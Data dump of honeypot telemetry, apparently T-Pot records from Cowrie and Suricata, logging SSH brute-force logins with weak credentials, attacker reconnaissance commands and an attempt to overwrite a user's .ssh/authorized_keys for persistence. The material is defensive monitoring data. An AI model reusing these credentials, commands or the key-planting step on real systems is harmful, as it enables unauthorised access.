"b4fdd90a76ab", "@version": "1", "timestamp": "2021-09-20T11:02:04.942627Z", "@timestamp": "2021-09-20T11:02:04.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download.failed	\N	known attacker	\N
20298	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:02:04.948331+03	2021-09-20 14:15:02.199614+03	{"_id": "jgXeAnwBvYTbRNuEwPZb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 1865, "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "4eaac35de52a2de9a6e37b6da3bb34b1c16bd5928ca49c4771604d83cea2daed", "src_ip": "109.104.151.106", "ttylog": "log/tty/4eaac35de52a2de9a6e37b6da3bb34b1c16bd5928ca49c4771604d83cea2daed", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/4eaac35de52a2de9a6e37b6da3bb34b1c16bd5928ca49c4771604d83cea2daed after 54 seconds", "session": "b4fdd90a76ab", "@version": "1", "duration": 54.79490613937378, "duplicate": true, "timestamp": "2021-09-20T11:02:04.948331Z", "@timestamp": "2021-09-20T11:02:04.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20299	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:02:04.948972+03	2021-09-20 14:15:02.200643+03	{"_id": "jwXeAnwBvYTbRNuEwPZb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.session.closed", "message": "Connection lost after 55 seconds", "session": "b4fdd90a76ab", "@version": "1", "duration": 55.26492381095886, "timestamp": "2021-09-20T11:02:04.948972Z", "@timestamp": "2021-09-20T11:02:04.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20300	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:02:04.954345+03	2021-09-20 14:15:02.201613+03	{"_id": "kAXeAnwBvYTbRNuEwPZb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.login.success", "message": "login attempt [lei/123456] succeeded", "session": "c7d014dbd806", "@version": "1", "password": "123456", "username": "lei", "timestamp": "2021-09-20T11:02:04.954345Z", "@timestamp": "2021-09-20T11:02:04.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
20301	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:02:04.958636+03	2021-09-20 14:15:02.202644+03	{"_id": "kQXeAnwBvYTbRNuEwPZb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 52 seconds", "session": "c7d014dbd806", "@version": "1", "duration": 52.57797908782959, "timestamp": "2021-09-20T11:02:04.958636Z", "@timestamp": "2021-09-20T11:02:04.958Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20302	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:02:04.95908+03	2021-09-20 14:15:02.204642+03	{"_id": "kgXeAnwBvYTbRNuEwPZb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1bdcf882e061", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:02:04.959080Z", "@timestamp": "2021-09-20T11:02:04.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20303	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:02:04.959613+03	2021-09-20 14:15:02.205614+03	{"_id": "kwXeAnwBvYTbRNuEwPZb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "677d5671b64a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:02:04.959613Z", "@timestamp": "2021-09-20T11:02:04.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20304	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:02:05.236436+03	2021-09-20 14:15:02.206613+03	{"_id": "lgXeAnwBvYTbRNuEw_Yi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {}}, "flow": {"start": "2021-09-20T11:01:38.182476+0000", "pkts_toclient": 5, "pkts_toserver": 5, "bytes_toclient": 953, "bytes_toserver": 354}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 239225015552204, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44466, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:02:05.236436Z", "@timestamp": "2021-09-20T11:02:05.236Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
20305	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.254738+03	2021-09-20 14:15:02.208613+03	{"_id": "2QXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:16.254738Z", "@timestamp": "2021-09-20T11:02:16.254Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20316	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:18.083036+03	2021-09-20 14:15:02.223612+03	{"_id": "BAXeAnwBvYTbRNuE9ve9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:18.083036Z", "@timestamp": "2021-09-20T11:02:18.083Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20306	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.332418+03	2021-09-20 14:15:02.209613+03	{"_id": "2wXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "91.200.124.7", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07831978797912598, "duplicate": true, "timestamp": "2021-09-20T11:02:16.332418Z", "@timestamp": "2021-09-20T11:02:16.332Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20307	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.456074+03	2021-09-20 14:15:02.211616+03	{"_id": "3QXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:16.456074Z", "@timestamp": "2021-09-20T11:02:16.456Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20308	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.947991+03	2021-09-20 14:15:02.212614+03	{"_id": "4AXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:16.947991Z", "@timestamp": "2021-09-20T11:02:16.947Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20309	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.948547+03	2021-09-20 14:15:02.214613+03	{"_id": "4QXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:16.948547Z", "@timestamp": "2021-09-20T11:02:16.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20310	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.100897+03	2021-09-20 14:15:02.215613+03	{"_id": "4gXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "91.200.124.7", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "adb85be76cac", "@version": "1", "destfile": "/home/subhana/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:02:16.100897Z", "@timestamp": "2021-09-20T11:02:16.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
20317	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:18.559246+03	2021-09-20 14:15:02.224614+03	{"_id": "BwXeAnwBvYTbRNuE9ve9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:18.559246Z", "@timestamp": "2021-09-20T11:02:18.559Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20311	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.103373+03	2021-09-20 14:15:02.216634+03	{"_id": "4wXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "91.200.124.7", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.08095979690551758, "duplicate": true, "timestamp": "2021-09-20T11:02:16.103373Z", "@timestamp": "2021-09-20T11:02:16.103Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20312	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.25419+03	2021-09-20 14:15:02.218613+03	{"_id": "5QXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:16.254190Z", "@timestamp": "2021-09-20T11:02:16.254Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20313	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.791011+03	2021-09-20 14:15:02.219613+03	{"_id": "5wXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "33e1ee8ada4007e4dad3cc6bc02693e6e9984bcbc754bd42a3c64c008b26e89f", "src_ip": "91.200.124.7", "ttylog": "log/tty/33e1ee8ada4007e4dad3cc6bc02693e6e9984bcbc754bd42a3c64c008b26e89f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/33e1ee8ada4007e4dad3cc6bc02693e6e9984bcbc754bd42a3c64c008b26e89f after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07715749740600586, "duplicate": false, "timestamp": "2021-09-20T11:02:16.791011Z", "@timestamp": "2021-09-20T11:02:16.791Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20314	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:02:17.711324+03	2021-09-20 14:15:02.220614+03	{"_id": "6wXeAnwBvYTbRNuE8vYI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:02:17.576520+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "94.232.41.165", "flow_id": 429915123600392, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 11230, "timestamp": "2021-09-20T11:02:17.711324Z", "@timestamp": "2021-09-20T11:02:17.711Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
20315	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:17.251328+03	2021-09-20 14:15:02.221613+03	{"_id": "-wXeAnwBvYTbRNuE8_Yn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "91.200.124.7", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "adb85be76cac", "@version": "1", "duration": 0.07844138145446777, "duplicate": true, "timestamp": "2021-09-20T11:02:17.251328Z", "@timestamp": "2021-09-20T11:02:17.251Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29326	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:24:47.186241+03	2021-09-20 14:30:03.985524+03	{"_id": "lAbzAnwBvYTbRNuEijSh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 23230, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 218031590463361, "@version": "1", "in_iface": "enp5s0", "src_port": 60562, "dest_port": 53, "timestamp": "2021-09-20T11:24:47.186241Z", "@timestamp": "2021-09-20T11:24:47.186Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20318	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:18.559791+03	2021-09-20 14:15:02.225613+03	{"_id": "CQXeAnwBvYTbRNuE9ve9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:18.559791Z", "@timestamp": "2021-09-20T11:02:18.559Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
